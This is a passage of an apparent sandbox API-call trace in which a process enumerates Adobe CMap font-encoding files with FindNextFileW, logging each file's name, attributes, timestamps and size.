lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="AD9B16~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="AD411B~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="ADF600~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="AD1D91~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="ADC296~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="ADFBCB~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="AD2E3A~1")) returned 1 [0234.603] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="AD43DF~1")) returned 1 [0234.603] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="AD3180~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="ADAB0B~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="AD0115~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="AD276E~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="AD4DFF~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="ADF2F4~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="ADA8E9~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="ADCE7B~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="AD7470~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="AD2A65~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="AD02A2~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="ADE5F6~1")) returned 1 [0234.690] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="AD8921~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="ADD587~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="ADF41D~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="AD1CC0~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="AD0C77~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="ADE5E5~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="AD30F0~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="AD15A3~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="ADCDCC~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="ADF8FD~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="ADF15E~1")) returned 1 [0234.691] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="AD662F~1")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="AD8F7C~1")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="B5PC-U~1")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="B5PC-U~2")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="CNS-EU~1")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="CNS-EU~2")) returned 1 [0234.692] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="ETEN-B~1")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="ETEN-B~2")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="ETEN-B~3")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="ETENMS~1")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="ETENMS~2")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="ETHK-B~1")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, 